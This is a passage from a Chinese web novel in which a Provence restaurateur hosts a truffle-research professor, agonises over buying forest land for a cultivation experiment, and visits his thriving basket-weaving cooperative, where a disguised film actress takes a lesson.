自尊心受到了一天打击的费尔南教授终于支棱起来了,双眼在幽暗的环境下泛起了绿光。 哈哈,终于遇到你不懂的事情了? 第509章 孺子可教也 “原因比较复杂。”费尔南教授满意的将手背到身后,身心舒畅的说,“我简单给你讲讲吧。” 爽了爽了爽了。 这口气终于吐出去了。 罗南当然想知道原因,可抬头看了一眼天色,暂时把费尔南教授的那口气给掐断了: “咱们边吃边聊吧,我也好回去通知家人把你们的住处收拾出来。” 天早就黑了,费尔南教授和他的学生今天肯定无法离开卢尔马兰。 对于长期从事户外实验工作的他们二人来说,风餐露宿是家常便饭,他们工作的时候就根本没有考虑时间,车子后备箱里有帐篷和野外生存的基本道具,走不了,就在这附近凑合一晚,即使回到皮奥朗克也是同样的环境。 但这里可是卢尔马兰. 罗南怎么能让远道为他而来的朋友住在野外? 后院工作室地方大得很,罗天海和冯珍也能去餐厅楼上睡,于是主动邀请费尔南教授和他的学生今晚跟他走。 费尔南教授有一种话到嘴边被硬生生塞回去的堵心感,不过随即一想——换个好点的环境可以展开说的更详细,说的更详细就能占用更长的时间,占用的时间长他的气就舒畅,所以这事儿没毛病。 “那就麻烦你了。”他客气了两句,跟着罗南离开。 罗南把教授和他的学生带回餐厅,好酒好菜好肉的招待。 那名脸晒的比农夫还黑的学生都快感动哭了。 跟了教授那么久,哪次出来做实验时有这么好的待遇? 几个小时前他还为和教授单独出来而感到心烦,觉得自己倒霉透了没想到这是趟美差啊。 费尔南教授也被罗南的热情所感动,第一次对投资人的态度发生了改变。 以前他看见投资人就烦,这帮除了钞票什么都没有的傻瓜懂根际微生物组理论吗?懂非生物胁迫响应机制吗?会看蛛网模型吗? 什么都不懂,就是出了点钱,凭什么要求这个,要求那个的? “教授,真希望您能快点组织学生来卢尔马兰做新的实验,算算时间只有三个多月就要秋天,时间很紧张啊。” “教授,如果来,团队会有多少人?我知道您要忙的项目多,要做的实验也多,但我觉得咱们上午聊到的新思路很不错,值得加派一些人手过来。” “教授,您的大本营打算选在哪边?要不然明天我再带您在卢尔马兰转转,把能看的都看了吧,省的您老人家再跑第二趟。” “教授.” “教授.” “教授.” 费尔南不停点着头说: “好好好,都听罗南的,艾尔登,明天一早你去那周围看看,选个地势平坦的地方告诉罗南,天黑之后看的没那么真切。” 名叫艾尔登的黑瘦学生马上答应下来: “好的教授,明天一早我就去办。” 罗南一听这意思,惊喜的问: “评估通过了是不是?您确定可以接手这片森林了?” “应该没有太大问题。”费尔南看着罗南说,“你抓紧买地,之后补一份申请报告,我尽快把流程走完。” “好好好!我一定尽快。”罗南心里的大石头终于放下。 实验团队拉来了,森林也找到了,还是用极低的价格.罗南迷信的认为,这个极佳的开头预示着未来在卢尔马兰开展起来的冬季松露旅游项目也会红红火火! 罗南的心事了了,但费尔南的心事还憋着呢。 见罗南也不提选地的理由了,他主动提起: “说到那片森林啊——” “说到那片森林啊,教授,我又记起来了一些松露猎人和我交流的细节。”罗南和费尔南教授同时开口。 教授到嘴边的话又憋了回去。 罗南说的事儿更重要,再忍忍! “你记起来什么了?”他前倾身体问。 罗南在路上解释,说他和那个松露猎人见面有段时间了,许多细节都记不清,既然教授对这个思路感兴趣,那他这段时间一定好好回忆,想到什么马上通知费尔南。 这么快就回忆起来细节了? 罗南的摸着桌子上的红酒杯说: “记起来了一点点,是关于土壤通气性的,那个松露猎人好像说过,以前有人尝试用碳增加土壤透气性,具体原理没讲,但他说那有可能会模拟出最接近自然黑松露产区的基质。” 罗南继续解释道: “我自己的理解是这样的,现在提升土壤透气性的办法是添加粗砂或细碎岩屑来增加大孔隙,但这些砂石的直径和大小不规则,结构也不够牢固,遇到雨水冲刷或者外力,空隙很容易会崩塌,也许用其他元素可以使结构更加稳固?” 系统给的那本‘黄页’知识量太庞大了。 罗南翻了一天,才找到了一处可以提升土壤透气性的办法。 只是这个词条里的内容挺有意思的 早在1980年,法国国家农科院(INRA)土壤物理学家克劳德便开始做土壤透气性的实验,并于1985年申请过一个‘土壤分配公示’的专利,可以有效提升土壤下近一倍的含氧量。 但直至90年代,这项技术只在勃艮第葡萄园(提高黑皮诺根系活力)中应用过,2015年才开始正式使用到人工培育松露的场景上。 “又是信息闭塞导致的滞后啊。”罗南在心中感慨万千。 其他国家的技术就算了,法国人自己研究出来的成果也没有什么人知道,而且全国上下还有着这么多块试验田在做关于土壤透气性改良的实验只能说,科学和技术不是谁都能研究明白的。 这更加坚定了罗南不能当‘科学家’的决心,未来他的方针就是给费尔南提供‘思路’,让教授带着他的团队去找数据和做实验。 不过即使罗南把结果拍出来运用到实际项目里的时间也会很漫长。 “阿尔登,把这一点记下来。”费尔南教授看学生拿出纸笔记录后,才看向罗南,“还记起来什么了吗?” 罗南平摊双手: “没了,暂时没有其他的了。” 时间有限,就找到那么多。 罗南的新发现把话题再次扯回到了人工培育松露实验的话题上,费尔南教授告诉罗南,目前他手里一共有7块‘实验林’同时在做二十几项不同的实验,可谓是压力山大。 罗南鼓励他说: “我这里的实验一定是突破性最大的,因为我的运气一向很好。” 费尔南惨笑着说: “你啊你,什么都好,就是心气太高了。” 不过罗南确实有这种资本,教授又回忆起白天在卢尔马兰看到的一幅幅景象。 自尊心再次响起了警报,费尔南看向吃的满嘴冒油、就差抱着烤鸭‘啃’的艾尔登: “艾尔登,我来考考你吧。” 艾尔登吓得马上放下了刀叉。 教授我一心闷头苦吃,什么话都没说,老实的不得了,您怎么还是不肯放过我! 我只是一个可怜又无助的研究生啊. 费尔南教授看着罗南,问自己的学生: “你来告诉罗南,晚上我们为什么确定那片范围最适合做黑松露培育的实验。” “因为——”事发突然,艾尔登脑袋一阵短路,也有可能是吃了太多晕碳,“因为那里是缓坡?” “啪——”费尔南教授把桌子拍得叮当作响,“我教过你这些?!” 罗南赶紧当和事佬: “艾尔登刚刚来研究院,您别着急啊。” 卡庞特拉松露技术中心是今年年初新成立的,而且非常突然,除了费尔南和另外两位学术大咖,其余人几乎全是在读学生,甚至有一些读的不是农学,而是农业辅助学科。 这几位老教授年近半百了,还要从头拉一支队伍。 半年过去,研究成果没搞出来什么,血压高出来了。 费尔南本是想要出一口气,现在‘内伤’更重了。 草包啊,一群草包! 出去不要说我的名字!! 他顺了两口气,才给罗南解释: “其实那里的地势啊——” “其实那里的地势啊,是缓坡,只是坡度比较小罢了。”罗南再次默契的和费尔南教授同时张口,“但我猜教授是特意选择缓坡做实验的。” 瞧瞧人家,瞧瞧! 这才是我费尔南教出来的学生. 费尔南欣慰的喝了一口酒,突然意识到,不对啊,罗南不是他的学生。 “为什么说我特意选择缓坡做实验?”费尔南盯着罗南的眼睛问。 罗南侧了一下脑袋: “我听到您对艾尔登说,外围的生态缓冲带要做成阶梯式草垄,我猜您是想减少流经冲刷。” 艾尔登挂不住面子。 连金主爸爸都能说出来点东西,他怎么能‘灰头土脸’,刚刚是误会! “教授选择那片地块还因为远离村庄和人群,这样实验就没人打扰了。” 费尔南失望的摇了摇头。 孺子不可教也。 “不是为了——”他低声指正。 “不是为了远离村庄和人群,是为了远离农田。”罗南端起酒杯敬费尔南,“教授大概是担心那片农田未来种的作物会打农药,提前做了预防,这一点太细节了。” 你佩服我? 我还佩服你呢! “你怎么又知道原因了?”费尔南教授表情复杂的问。 罗南嘻嘻哈哈的说: “在路上突然想明白的。” 为什么? 找‘土壤透气’性时无意间看到了呗。 罗南又说出了几个理由,一次次命中费尔南的‘命脉’。 毫不夸张的说,虽然教授这口气就出了一下,剩下的全部吸了回去,但气完全顺了。 费尔南教授可太开心了。 他身边出现一个真正的‘左膀右臂’! 孺子终于可教了! 别说是什么土壤透气性和除菌实验,酒过三巡的他自信的认为——与罗南合作,这次人工培育松露实验绝对成了! “我一直很佩服松露猎人,现在你让我更加佩服这群与自然打交道的伙伴。”费尔南兴奋不已的说,“罗南,希望这次我们能合作成功,在卢尔马兰和皮奥朗克的土地里盛开出茂盛的黑色‘黄金’!” “一定会的!”罗南笑着说。 又吃了一会,下班回来的布鲁诺出现在了餐厅内。 罗南中午给他打过电话,他知道罗南今天带着松露研究中心的实验员来实地考察了,布鲁诺不放心,陪妻子和孩子吃完晚饭,过来问问具体的情况,看看是否顺利。 罗南把教授和教授的学生介绍给了布鲁诺。 得知这位光头佬居然是普罗旺斯林业局的某位领导,费尔南教授的信心更足了。 卢尔马兰政府不敢动罗南的地,森林局里也有人他可以不惜余力、投入全部的精力在这片‘试验田’里做实验。 得知卡庞特拉松露技术中心答应给罗南技术支持,也就是说‘试验田’项目成立了,布鲁诺问: “你要买多大面积,确定了吗?” 时间不等人,卖家着急的很。 布鲁诺要尽早去给罗南‘抢’地。 罗南把注意力定格到和‘生态缓冲带’有关的词条上。 上面记录,在石灰岩土壤区,生态缓冲带的面积至少需要实验面积的25%-30%,才能稳定菌根微气候。 如果是排水不良区域要扩大到50%。 教授圈定的那片森林不是排水不良区,但未来他们要栽种的是宿主树幼苗,由于幼树根系未展开,需要更大缓冲带来补偿生态功能。 “要两公顷吧。”罗南咬着牙回。 四分之三做实验,四分之一做缓冲地带。 布鲁诺知道罗南只要一点点的面积,没有说什么,默默点了下头。 但坐在罗南对面的费尔南却开口了: “两公顷?那也太少了吧,我对这次实验非常有信心,如果攻破了土壤透气性和除菌难题,菌丝成活率可以提升近一倍,那些都是钱.你算算只买2公顷你要赔多少钱?” 教授要急死了。 这么‘深不见底’的实力,买2公顷哪里配得上罗南的地位! 罗南也要急死了。 这教授可太会攻心计了一上来就说我赔了,这让我怎么选? 坦白讲,罗南真想多买点。 即使不做实验,买下来囤着也是稳赚不赔的买卖,因为地价太便宜了。 私人买卖森林地块的消息不是谁都有机会知道的,未来有‘漏’可捡也轮不到他了。 短暂的犹豫了一下之后,他对布鲁诺说: “我再想一想,明天一早通知你。” 编织业务上个月的账还没算,罗南打算去看看那边的情况再决定。 第510章 要冷静啊罗南 教授和阿尔登在罗南家后院宽敞的两层工作室里睡了一夜。 得知这间风格独特、让打工人一进来就不想出去的工作室居然是罗南送给自己未婚妻的礼物费尔南更加觉得2公顷森林不符合罗南的身份,直至第二天早上见面,还在给罗南打气,说他对这次的实验非常有信心。 过了一夜,罗南冷静了很多,不再只聚焦于‘捡漏’这件事上,认为遇到这么便宜的地不买亏了,而是考虑起更多实际的情况。 费尔南教授的实验和去年不能同日而语,在各种环节上都升级了,相应的成本也要升级,这一点罗南在见到教授的第一天就有心理预期了。 买森林只是投入的第一笔挑费,后续还有改良土壤、维护和实验运营等许多花钱的地方等着他买单,不能因为定植前的‘轻松’,就忽视了人工培育松露实验的吃钱本领。 今年截止到此时投入的22万法郎只是一个开胃菜,秋季定植后的维护费用才是大头.而且每个月都要支出。 几个月前,卢卡斯按照去年的实验情况给罗南报的维护费用是每个月5-6万法郎,但昨晚罗南和教授详细算了算账,这个数字现在要翻将近一倍,这还不算罗南突然‘扔’几个思路过去,有可能会产生的新费用。 再加上卢尔马兰这里的新地块.9月之后每个月的硬支出多到罗南不敢想。 即使咬牙凑钱或者贷款买下了更多的森林面积,后续的运营成本和每个月的还款,也一定会压的他喘不过气,这道理就好像是有钱买豪车,没钱维护一样让人伤心和绝望。 一想到这,罗南的心里就开始打退堂鼓了。 现在每个月赚的是不少,但也不能拿出一大半来养人工培育松露这个‘吞金兽’啊,别的都不要了?那和去年的卢卡斯有什么不同? 更何况,实验结果是怎样谁都不得而知,说不定投入的越多赔的就越多呢? 低价买入赚个差价快速出手也不实际,这块地是布鲁诺帮罗南搞来的,目的是为了让卢尔马兰拥有一个可以在冬季游玩体验的项目,以后挂牌还是要经过森林局罗南很怕买卖土地牟利的举动影响了两个人之间的关系,那就得不偿失了。 在普罗旺斯,人脉比钱‘值钱’多了。 想来想去,还是脚踏实地一点比较好。 “2公顷的确有些少,但增加的面积一定要在能力承受范围之内,千万不要像去年的卢卡斯一样抱有侥幸心理和赌徒心理,一定要冷静下来,记住,你的家底没有那么厚。”罗南如是提醒和警告自己。 记住了这些,他才去往巴蒂的编织大院。 别看罗南认为编织是现阶段潜力最大的一块业务,但最近他在这里投入的精力却是最少的,主要是巴蒂、桑德琳和卡福把编织业务打理的井井有条,罗南根本没有太多操心的地方。 5月完成了内部大改革,从这个月起,罗南就要正式给几十个妇女和新加入的卡福团队开工资了。 不过他对月底即将发出去的海量工资一点都不担心,进编织大院还没有1分钟,就看到销售卖出去两件东西其中还有一个是大件的家具。 卡福的团队合并进来后,每天都会有几个人专职留在编织大院里当销售。 巴蒂这里有现成的编织产品,卡福的伙计们手里又有大量的产品照片,无论是进来参观的,还是在这里上体验课的,他们都会介绍一下。 专业的人加入,使得效果提升了不少,那么罗南的目的也就达成了。 今天在卢尔马兰负责向游客销售产品的其中一个人,是年初曾帮罗南一起抵御过寒潮的格隆丁,这家伙现在简直是一个翻版的小‘卡福’了。 见格隆丁送走了客人,罗南走过去取下他鼻子上的金丝框眼镜,戴到了自己的脸上: “没度数你戴眼镜干什么?” 格隆丁心情很不错的回: “头儿也不近视啊。” 如今卡福的‘装备’越来越多,西装和领带是标配,眼镜、钢笔、手表什么的也是不离身了。 上梁不正下梁歪。 他手下的伙计们搞起了‘模仿秀’,卡福怎么打扮自己,他们也学着买什么。 肯定没人相信,这帮子‘西装暴徒’在去年还抡着大铁锤四处砸墙呢。 罗南把眼镜还给格隆丁: “卡福戴眼镜是因为他妻子是卖眼镜的,你女朋友也卖眼镜吗?” 竟不学点好的! 格隆丁哈哈大笑着说: “主席,你好久没见头儿了吧?他妻子已经不去眼镜店上班了,现在专职在家带孩子了。” “不上班了吗?”罗南还真不知道这个消息,但印象中他们‘团建’去摩纳哥的时候,卡福还说要去阿普特接妻子下晚班呢。 格隆丁指了指屋子的方向: “您好久没来了,可能不知道,现在咱们院子里老热闹了。” 巴蒂租下的房子没有罗南家院子大,但室内结构和面积差不多。 事实上卢尔马兰的民房基本都是类似的结构和面积,因为都是建于同一个时期的。 巴蒂几乎不会自己做饭,所以他家的整个一层,除了一个储藏室都留给编织业务了,一部分做了产品展示,一部分上体验课,二楼有一个卧室放葡萄藤,其余才是巴蒂私人用的。 可这次罗南来,发现这里大变了样。 首先是布局变了。 一楼之前存放还没来及送去阿普特产品的储物室被收拾了出来,做成了上课的地方,其余面积全部变成了展示区。 第二个变化是室内的人多了。 以前,游客大部分聚集在院子里,因为妇女们都是在院子的阴凉处三五成群的做编织,他们很喜欢在旁边看这东西是怎么做的,进屋的人大部分是想上体验课的。 但现在由于展示样品变多的缘故,整个一层公共区域的各个角落都有细细观赏编织作品的游客。 罗南在心里估算了下,这里的展示区域面积肯定比阿普特那边大了。 第三个变化是——这里展示的许多作品都是罗南没见过的,尤其是家具。 确定要将卢尔马兰手工艺合作社全方面升级时,罗南就把上新提到了日程中,担心自己精力有限,罗南拉来了巴蒂和他一起设计。 可巴蒂却说——咱们两个还有其他的事情要做,一周能设计出来几个样式?为什么不把妇女们也动员起来呢? 那个时候,罗南对此并不抱什么信心,也没指望太多,但此刻看着墙边和地上摆的一个个编织桌椅板凳和装饰品,罗南觉得巴蒂太厉害了。 “妇女们在巴蒂的带领下才能发挥出全部的潜能。”他惊喜的嘟囔。 你想啊,这帮妇女的编织技术全是巴蒂教的,成为手工艺合作社的正式员工后,巴蒂还是她们的顶头上司。 老师兼上司天天在耳边鼓励——亲爱的你真棒、美丽的姑娘你有一双世界上最巧的手、最最可爱的人呐我相信你一定可以的 谁能不迷糊? 谁能不上头? 那肯定把吃奶的力气都使出,为了不辜负巴蒂的信任了。 和上次来时比,编织大院发生的改变太多,罗南想问问巴蒂这小半个月到底发生了什么,但屋里正在给游客上课的人居然不是他。 罗南看了一眼正被阿克尼娜握住手指、努力纠正其手法的妙龄少女.心想巴蒂怎么可能把这么好的机会让出去呢? “巴蒂在楼上。”阿克尼娜伸出手指指房顶,“楼上还有两个教室呢。” 罗南在二楼见到了和一群身材火辣的姑娘谈笑风生的巴蒂,隔壁屋子还有正在给两个孩子和他们的父母讲什么是‘挑一压一’的波热。 看完这个情况,罗南大概猜到布局改变的原因了。 受上个月F1大奖赛和暑期热的影响,体验编织的游客变多了,但把他们放在一个地方就失去了合作社正在努力营造的‘高端’属性,所以把区间隔开了,让每组客人都有独立的空间,这是在现如今条件下,他们能做到的极限了。 虽然没见到桑德琳,但罗南知道这半个月她也一定做了许多。 “卢尔马兰现在没有合适的空房子,要不然必须再租一个。”罗南叹了一口气。 条件太有限了。 而卢尔马兰的房子现在又是这么的抢手。 如果给这帮人创造出更好的条件,罗南相信他们一定能做到更好的。 巴蒂一边教学,一边和女孩们聊起关于海边的话题,他说自己每年都会去尼斯冲浪,还差点做了职业选手,问这几个女孩从卢尔马兰离开后要去哪个方向游玩,如果去海边,他可以做导游。 罗南笑着摇了摇脑袋,打算先离开这里。 看这情况,一时半会应该是下不了课了。 那就一会再说吧。 罗南第二次从教室前经过惊动了巴蒂,巴蒂见罗南来了,马上把他叫住: “主席先生!等一等!” 在公众场合称职务是卡福立下的规矩,罗南一脸无语的和‘秘书长’巴蒂打了个招呼,又在巴蒂的引领下和那几个身材火辣的姑娘聊了两句。 “我和主席先生去聊点事情,找个临时老师来给你们‘代’几分钟的课。”巴蒂打开窗户,对着楼下喊,“亲爱的卢丽丝,麻烦上来一下,这里有4位美丽的可爱姑娘需要你照顾。” 摇完人,巴蒂对几个女孩眨了眨眼睛: “我马上回来,不要想我噢,希望回来时,普罗旺斯能多出4位编织高手。” “我太感动了。”罗南跟随巴蒂进入二楼唯一没有被‘教学’占用的房间,这里是放葡萄藤的,“你居然会为了我抛下那些女孩们。” 巴蒂依依不舍的关上门: “不逃课不行啊,后面还有好几波客人排队做体验呢,等我完全闲下来要等太阳落山后。” “生意这么好了吗?”罗南惊喜的问。 巴蒂眉飞色舞的说: “我去餐厅找了你好几次,你不是去艾克斯,就是去隔壁村面试了,我早就想和你聊聊,今天放你走了,下次碰到不知道又是什么时候。” 罗南有些不好意思的说: “最近事情有点多,月中之前我都要为集市的事情忙碌,辛苦你们三个了。” 巴蒂挥着手,无所谓的说: “我当然理解,其他地方又没有我们三个这么省心的人帮你,需要亲力亲为,自然脱不开身了,但我跟你说啊罗南,专业的事必须要找专业的人,其他地方也是一样的,你知道卡福和桑德琳加入进来之后,我们的业务提升有多大吗?可比几个月前你我两个人累死累活、吭哧吭哧的埋头苦干时效果好太多了!” 罗南自然知道‘专业的事必须要找专业人’的道理,问题是他找不到专业的人了,时间有限,不想扯有的没的,他直接了当的问: “上个月的生意怎么样?” 巴蒂兴奋的拍了一下手: “5月份的营业额比4月多了一倍!卡福那个家伙算了,说如果6月还是相同的情况,他能拿到的提成比之前自己干时还要多,所以让他妻子辞职了。” 5月并不用给销售妇女发工资,财务情况相对简单和粗暴,营业额翻了一倍意味着罗南能拿到手的也翻倍了。 4月份罗南分到了8万法郎左右,也就是说这个月有16万法郎了。 “但6月怎么可能和5月是相同情况呢?”巴蒂兴奋的自言自语,“你在F1大奖赛上的影响还没结束,我们有了桑德琳这个营销小能手,还有卡福一整支销售团队.他们来到卢尔马兰后,我们的产品卖的可好了,对了对了,还有妇女们,妇女们大大的扩充了产品样式,她们太厉害了。” “你们都是好样的!”主席先生无比欣慰,这帮人一个比一个靠谱。 时间有限,巴蒂也说出了他留下罗南的原因: “卡福最近提了一件事,他说我们的家具卖的太便宜,还说价格的事情一早就和你说过,当时你说要等合作社有点名气之后再提价格,但现在我和桑德琳认为,这个时机到了。” 刚推出编织家具时,卡福给最便宜的一把椅子定价5000法郎,是罗南给家人们把价格打下来,到2500法郎起这个档位的。 罗南沉吟了一下,回复道: “再等一等。” 时机还没到呢。 巴蒂还有学生,两个人言简意赅的说了最重要的几件事后便分开了。 回餐厅的路上,罗南开始盘算给布鲁诺的回复是什么。 按照目前的发展情况来看,编织业务6月份只会越来越好,营业额和5月份比再翻个一倍也不是没有可能,因为这个月还有一个组合拳等着呢。 那就多买点? 这个心思刚一涌起,一句话就马上出现在罗南道心中: “增加的面积一定要在能力承受范围之内,千万不要像去年的卢卡斯一样抱有侥幸心理和赌徒心理,一定要冷静啊,要记住,你的家底没有那么厚。” 罗南一狠心一跺脚: “那就3公顷吧!” 回到餐厅,罗南第一时间冲向收银台上的电话。 冯珍敲了两下台面上写有密密麻麻数字和字母的纸: “刚才有个女的给你打电话,电话我记上面了,最下面的那个。” 罗南看了一下那个号码,一点印象没有。 担心有什么重要的事,他给布鲁诺打电话之前先给这个陌生号码打了一个: “喂,您好,我是罗南,请问是哪里?” 对面出现一个冰冷的女声: “你好罗南,我是艾利安,‘自由枝芽’认证的申请通过了。” 罗南握着电话听筒的手一下子攥紧。 第511章 你啊,笑死人了 罗南把身子背过去,换了一个手拿话筒,语气不由得上扬了几分: “我以为要后半个月才能拿到。” 上一次见面艾利安给过罗南预期时间,但现在距离那个时间段还有近十天呢。 艾利安的语气也轻快了稍许,没有那么冷冰冰了: “卢尔马兰手工艺合作社符合‘自由枝芽’的全部申请要求,基金会得知这里的情况后非常积极,手续和流程很快完成了,你随时可以去阿维尼翁领取‘荆棘烈阳’证书,你看你哪天有空?我帮你约时间?” 罗南看向收银台上的台历,未来一周的页面上都有待办事项,全部是集市的员工面试,但他又想赶紧把证书拿到手里,于是试探性的问: “可以找人代领吗?让我的伙伴去。” 他和巴蒂脱不开身,但桑德琳和卡福可以去阿维尼翁跑一趟。 艾利安谨慎的说: “我建议你本人最好到场,虽然已经通过了认证请求,但那天对方会详细介绍‘荆棘烈阳’的证书使用规范和基金会后续的监督流程,你最好听听。” 自由枝芽是基金会的子项名称,荆棘烈阳是认证名称,颁发机构为普罗旺斯妇女基金会。 原来还有这么多事情.罗南再次翻看起日历: “那就下周三吧,下周三我亲自去阿维尼翁取。” 在那之前,罗南一定要把集市的事情弄完,这里牵扯太多精力了。 如果这个业务也有几个像巴蒂、卡福和桑德琳一样的助手就好了。 记好基金会的地址、电话和拜访时间后,艾利安鼓励的说: “荆棘烈阳认证有效期是5年,希望下一个5年还能看到你的手工艺合作社在颁发机构名单里。” “感谢你艾利安。”罗南感激的说,“我一定会好好经营,也会好好对妇女们。” 艾利安的电话让事情出现了转机。 拿到荆棘烈阳认证代表卢尔马兰手工艺合作社的涨价时机到来了,下周三后新品都可以摇身一变成带‘血统’的高档工艺品。 这样一来,6月的收入肯定会更加亮眼。 给布鲁诺报的数字再多点? 这个想法一出现,罗南的心中又一次响起了那道声音: “增加的面积一定要在能力承受范围之内,千万不要像去年的卢卡斯一样抱有侥幸心理和赌徒心理,一定要冷静啊,要记住,你的家底没有那么厚。” “卢卡斯啊卢卡斯,你看你给我造成了多大的心理阴影?”罗南哭笑不得捶了下桌子。 每当他想冲动消费,这个反面案例就会出来提醒罗南——一定要冷静。 但是真的冷静下来想一想,荆棘烈阳认证可以带来的好处和溢价情况全部是艾利安说的,她从来没有拿出过什么证据。 万一认证在普罗旺斯并没没有那么好使,或者根本不好使呢? 所以一定要谨慎。 而且罗南马上就要结婚了,未来他身上背负的是一个家庭的命运,不能因为一时冲动让妻子和孩子承担风险,哪怕一点点也不行。 不过话又说回来—— 万一荆棘烈阳认证一下子让卢尔马兰手工艺合作社变成了‘凤凰’呢? 是不是也有这种可能? 罗南一狠心一跺脚: “那就再加1公顷,买4公顷!” 罗南从口袋里拿出记有布鲁诺办公室电话的小纸条,刚摁出一个‘0’,腰被人捅了一下。 他回头看过去,发现身后站了一位金色头发,茶色墨镜,嘴上有细密胡子的矮个子男士。 跟佐伊在一起时间长了,罗南也对大牌服饰和配饰有了些浅显的了解。 这位男士从头到脚穿得全部是高档货,茶色墨镜也属于小众配饰,没有强大的自信不敢轻易驾驭,而且他喷了很浓的香水在那个年代只有绝对的上流社会男士才会喷香水。 “有什么可以帮到你的吗,先生?”罗南轻声细语的问。 那名男士清了清喉咙,声音嘶哑的回: “我在电视上见过你,你是这里的老板,我和我的朋友从很远的地方来,想请你喝两杯酒,不知你愿不愿意?” 罗南微笑着回: “当然可以,你和你的朋友坐在哪里?待会我拿着酒去找你们,这两杯怎么能让远道而来的朋友请呢?” 除非有什么特别的情况发生,罗南从来不会拒绝顾客要求喝两杯的提议,好说话极了。 可这次遇到的顾客不太好说话,他嗓音低沉的催促: “就现在去吧,我们吃完了,要离开了。” 虽然对方的态度稍显‘无理’,但罗南还是答应了下来,放下话筒看向大堂: “好,我们走吧,你们坐哪里?” “嘻嘻嘻——”耳畔的细弱笑声,吓得罗南差点原地跳起。 不是哥们你是姐们还是哥们? 怎么能笑出这种声音?? 不等那人带路,罗南先一步把脚迈了出去,但身后又响起了一道比刚刚更加细弱的‘罗南’。 那名‘男士’指着自己,用微弱的女声说: “我啊,是我啊。” 罗南被字正腔圆的女声彻底吓到,寻思这是村里哪个艺术家在搞行为艺术? 但你还真别说,这人模仿的男人还真是挺像那么回事的,反正罗南没有发现问题。 “是谁?”罗南皱着眉毛问。 对面那人偷偷撕下一角胡子,着急的说: “我啊,夏洛特!” 罗南用力拍了下脑门。 上帝,怪不得能扮的这么像,原来是真演员! 夏洛特的房子最近正在加班加点的装修,今天她过来看看进程,想起罗南和佐伊在摩纳哥对卢尔马兰人的描述,夏洛特起了‘易容打扮’融入进来的心思,就这样——夏洛出现了。 “请叫我夏洛,千万不要忘记。”夏洛特又变回了低沉嘶哑的声音。 “你今天要一直——”罗南在脸上比划了一下,“这样吗?” 夏洛弹了下背带裤上的绷带: “当然,我换回自己的样子还怎么在卢尔马兰行动?” 说完,她拍了两下肚子,惟妙惟肖的模仿起了酒足饭饱后男人们坐到一起吹牛皮时的样子: “不过伙计,你这里的味道真不错啊,我吃了整整五分之一碗米饭,半碗汤和两口甜品,是上半年来最饱的一次。” 路过的伊莎贝尔偷偷翻了个白眼,在心中腹诽起来: “城里男人的胃口比我们家的鸡还小。” 虽然夏洛特打扮的非常像,举手投足也模仿的很到位,但深究细节还是有许多‘破绽’,就比如这个因为要保持身材不能多吃的小鸟胃。 罗南在摩洛哥和很多明星同桌过,许多菜上来时什么样,撤走时还是什么样。 他好心提醒: “吃完你要去哪?最近村里的游客特别多,你别往人太多的地方跑,玩一会就回去吧。” 夏洛特随手从收银台上拿起一根牙签: “那怎么行?今天来卢尔马兰最重要的事情还没做,我得去买家具呢。” 罗南在摩洛哥没有给夏洛特安利过编织家具,他们只匆匆见了一面,根本没有机会展开。 夏洛特在认识罗南之前就知道编织家具了,而且还非常喜欢。 她在卢尔马兰新买的是一座庄园,其中一个会客厅和两个卧室都将填满编织家具。 人都到家门口了,还是来消费的,罗南总不能让人家自己过去吧? 那必须要送过去啊。 夏洛特还带了一个助理,这个人也做了‘易容’,穿上了普罗旺斯男人标配的帆布鞋、牛仔裤和格子衬衣。 可夏洛特是专业的演员,助理不是。 那女孩走路猫步就算了,动不动就捋一下耳朵后面空无一根的头发,笑的时候还喜欢扭屁股。 有这种‘队友’在,夏洛特暴露的风险大大上升! 上次只是有人在村里喊了一嗓子“夏洛特·维吉妮来来卢尔马兰看房子了!”一整个村的人都冲了出去。 这要是让哪个眼尖的家伙发现夏洛特·维吉妮正在人群中大摇大摆的逛街他们几个人不得被挤成肉饼? 胆战心惊的把两位女士送到编织大院,一进去格隆丁便好奇的问: “主席先生,你怎么又回来了?” 罗南才离开不到半个小时。 见跟罗南一起来的两位先生一进来就好奇的四处打量,格隆丁的销售血脉马上觉醒: “两位先生对编织感兴趣?需不需要我给你们介绍一下?又或者你们想亲自上手体验?” 一听还能上手体验,夏洛特立马来了精神: “好啊,安排个厉害点的老师,我们想试试。” 格隆丁有些遗憾的说: “两位先生,我们的体验课现在需要预约,不如我帮两位约个最快时间,先去看看产品样式?” 罗南拦在格隆丁的身前: “这两位你不用管了,去忙别的吧。” 格隆丁听话的照做: “好的主席先生。” 夏洛特身份特殊,她想要体验一下必须得满足。 但三个教室都在上课,罗南不得不再次去找巴蒂。 有外人在,罗南借口说,有两位远道而来的顾客专程过来,下午得赶车离开,能不能找个地方给他们安排个老师。 罗南去而复返,还亲自带人过来,巴蒂自然不能马虎,可他中途已经离开过一次,四个姑娘的单子可遇而不可求他怎么能再次抛下女孩们呢? 他做不到啊。 “如果他们不嫌热,去院子里体验吧,我找人教他们。”巴蒂并没有要离开的意思。 罗南站在门口说: “你出来下,我给你介绍下情况,他们有些‘特殊’,在院子里不方便。” 巴蒂在罗南和门框的缝隙中,看到了两个人。 一个男人正在转嘴里的牙签,个子矮但五官非常立体,相当的帅气。 另一个男人双腿呈内八字状、忽闪着大眼睛好奇的往里面打量,虽然放在这个情境下不合适.可巴蒂第一反应想用‘可爱’来形容。 巴蒂是搞艺术的,什么没见过? 他马上就什么都‘明白’了。 “院子里的确不合适。”巴蒂非常体贴的改变了主意,“我猜这两位顾客不想被人注视,这样吧,我和波热都把门关上,在二楼的客厅里加一套桌椅。” 这个安排还不错,等于在二楼临时加出了一间教室。 见巴蒂死活不肯离开他的四个女学员,罗南最后确认了一次: “你确定不出来吗?我介绍你们认识一下。” 罗南心里还是有兄弟的 夏洛特是巴蒂的真女神。 真的不能再真的那种! 巴蒂甩了下手,看着面前的四个女孩说: “我发过誓了,绝对不会再离开她们。” 他推开窗子,对着搂下喊: “格隆丁,麻烦你上来一下,这里有两个客人需要你。” 见罗南一脸疑惑,巴蒂偷偷对他眨了下眼睛: “相信我,这两位学生‘更’喜欢这位老师。” 我啊,体贴坏啦。 罗南微笑着关上了门。 你啊,笑死人了。 卡福对小伙子们的要求非常高。 想要卖出去东西,必须要了解产品,所以逼着他们学习编织,这样客户问到专业的问题才不会一问三不知。 格隆丁的能力肯定不像妇女们那么厉害,但教初学者绰绰有余。 罗南待会还要去面试集市工人,不能陪全程。 见到格隆丁‘虎嗅蔷薇’般温柔的教夏洛特和她助理基本编织技,才完全放下了心。 夏洛特大概是憋疯了,多久没有体验做普通人的感受了? 